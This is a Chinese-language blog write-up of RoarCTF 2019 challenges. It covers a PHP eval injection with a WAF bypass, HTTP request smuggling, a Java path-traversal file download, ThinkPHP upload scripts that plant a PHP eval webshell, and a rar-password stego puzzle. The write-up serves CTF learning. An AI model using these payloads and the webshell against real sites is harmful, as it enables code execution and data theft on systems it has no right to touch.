2019RoarCtf

2019-10-19 14:10:00
ctf - wp - roar

本次比赛战队起名咸鱼签到队,所以只做了一道签到题(滑稽)。

web

easy_calc

经过多次做题经验一般类似这种题前面加了easy的都是不容易的题。。题目首先给了一个表单,可以进行简单计算,输入表达式出结果,开扫描器扫不到什么东西,抓包的时候发现了一个calc.php,是一道代码审计题。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

看这只要传一个值给num,如:1;phpinfo()这种参数给num即可,但发现只要传值中包含字母就会返回400错误,当时做题百思不得其解,后面才知道这种是加了waf过滤掉了字母,长知识了。

本题目有两种解题方法,一种是利用PHP的字符串解析特性Bypass;另一种是利用http走私来绕过。

方法一:利用PHP的字符串解析特性

参考:https://www.freebuf.com/articles/web/213359.html

构造如:/calc.php?%20num=1;phpinfo()绕过waf,但在php里面仍会解析为num,因此会返回phpinfo界面。

鉴于他过滤了单引号和双引号,我们无法直接传参。

需要用到几个函数来构建取得目录:

var_dump() --- 可以将变量的内部信息打印出来,可以打印出数组
scandir() --- 传入目录参数,返回传入目录的文件及文件夹
chr() --- 传入数字可以将ASCII码解析为字符串
readfile() --- 传入文件名作为参数可以读取文件内容
file_get_contents --- 传入文件名作为参数可以读取文件内容

这里我一开始犯了个错,对chr函数没很好的了解,所以在构建时还将需要传入内容的两端再用chr构建出了单引号,导致一直失败。。

47对应ASCII为/,所以我们构造?%20num=1;var_dump(scandir(chr(47))),取得根目录对应文件及文件夹名字,一般这种比较难一点的题目,flag文件都会在根目录下。

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

可以看见有一个f1agg,构建payload:

calc.php?%20num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

也可以将readfile改为file_get_contents,结果一样,输出有些差异。

1flag{8c38cfc1-87c6-4d2e-b63a-eebd9a022a00} int(43)

方法二:利用http走私

参考:https://paper.seebug.org/1048/

具体也不是很理解,简单说来就是我们抓包之后,手动添加一个Content-Length使得该包有两个,当传给服务器后,先是由代理服务器接受,代理服务器读完第一个Content-Length后将包发给了后端服务器,而后端又读了Content-Length,此时,将我们需要的内容返回了前端,因此虽然报了400错误,但仍返回了我们想要的内容

接下来的操作步骤和上面一种方法一样,都是用var_dump,scandir,chr,readfile函数进行读取flag。

Easy Java

一个登录界面,我对于java web方面目前还在学习,所以不知道会有什么漏洞。

点开help发现路径如下:

http://9122272f-bc47-457b-8c43-27b3cbe24773.node2.buuoj.cn.wetolink.com:82/Download?filename=help.docx

报错如下:java.io.FileNotFoundException:{help.docx},看起来是找不到文件,这url应该是文件下载漏洞,用burp suite抓包后将get改为post再放包后发现下载成功了??(没搞懂原理)

下载了help.docx文档,内容为:

Are you sure the flag is here? ? ?

文件夹 描述
/ Web应用程序根目录
/WEB-INF/ WEB-INF文件夹,Tomcat会隐藏该文件夹下的所有文件及文件夹,保护它们不能通过浏览器直接访问。
/WEB-INF/web.xml web.xm文件,Web程序最主要的配置文件。
/WEB-INF/classes/ class类文件都放在该文件下面,包括Servlet类。
/WEB-INF/lib/ jar文件都放在该文件下面。

知道了怎么下载那就容易了,javaweb有一个web.xml存放在WEB-INF目录下,是web程序的主要文件。先把它下载下来:

-<servlet>

<servlet-name>FlagController</servlet-name>

<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

</servlet-mapping>

由此构造/WEB-INF/classes/com/wm/ctf/FlagController.class

解码得flag

Simple Upload

首先给了代码审计,发现是考文件上传,看源码可以知道是tp框架的漏洞:

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
} 

在thinkphp中的Controller是控制器,可以看到IndexController类继承自Controller类,其命名空间为Home\Controller,也即是其路由为:index.php/Home/Index,在该路由下在访问对应的方法即可找到文件上传在url,为:index.php/home/index/upload,访问发现没错,提示我们需要上传文件。

我们可以写脚本上传一个文件试试看:

#! /usr/bin/env python
#encoding=utf-8
import requests 

requests = requests.session()

url = "xxx/index.php/home/index/upload"

file1 = {'file':open("1.txt",'r')}
file2 = {'file1':"<?php  @eval($_POST['hhhm']); ?>"}
r1 = requests.post(url,files=file1)
r2 = requests.post(url,files=file2)
print(r1.text)
print(r2.text)

##输出
##{"url":"\/Public\/Uploads\/2019-11-26\/5ddbfd6e86649.txt","success":1}
##{"url":"\/Public\/Uploads\/","success":1}

可以看见它仅输出了file文件的路径,那么我们可以采用:

  • 上传正常文件
  • 上传php文件
  • 上传正常文件

两个正常文件中间会有间隔,上传多次会发现其命名有规律,查看源码可以知道其上传文件命名是使用了uniqid,因此我们可以采用爆破来获取我们的php文件。

{"url":"\/Public\/Uploads\/2019-11-26\/5ddc765084414.txt","success":1} {"url":"\/Public\/Uploads\/","success":1}

以上述两个路径为例爆破php路径,爆破脚本如下:

#! /usr/bin/env python
#encoding=utf-8
import requests
import time

myrequest = requests.session()

url = "xxx/Public/Uploads/2019-11-26/{}"

txt1 = "5ddc765084414.txt"
php =  "5ddc765{0}{1}{2}{3}{4}{5}.php"
txt2 = "5ddc7655eddc3.txt"
lista = [
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
    'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',
    'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
    't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
    '8', '9'
]
count = 0
for a1 in lista:
    for a2 in lista:
        for a3 in lista:
            for a4 in lista:
                for a5 in lista:
                    for a6 in lista:
                        count = count + 1 
                        php1 = php.format(a1, a2, a3, a4, a5,a6)
                        url1 = url.format(php1)
                        r = myrequest.get(url1)
                        if (r.status_code != 404):
                            print(r.text)
                            break
                        else:
                            print(count,end="---")

我在网上搜了一波,发现还有另外一种解法:

https://github.red/roarctf-web-writeup/

该wp提到了tp3中在文件上传时会调用一个strip_tags函数,该函数会去掉文件中的html标签,也即是我们可以使用html标签来绕过check。

import requests

url = "xxx/index.php/home/index/upload"
r = requests.session()
file1 = {'file': ("shell.<br>php","<?php  @eval($_POST['hhhm']); ?>")}
r1 = r.post(url, files=file1)
print(r1.text)

##输出
##{"url":"\/Public\/Uploads\/2019-11-26\/5ddc83c383640.php","success":1}

接下来访问该页面即可。

flag{b9b1393c-5815-469a-bfec-1648f2b95570}

misc

黄金六年

010打开发现末端有一段base64码:

UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQAD Dx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEf JkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==

解码发现是一个rar文件,保存后发现需要密码。

比赛时到这里就不会做了,后来看wp发现是视频里面抽帧之后放Stegsolve上变轨看二维码,一共有四个。

合起来就是压缩包密码,为iwantplayctf,得flag



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号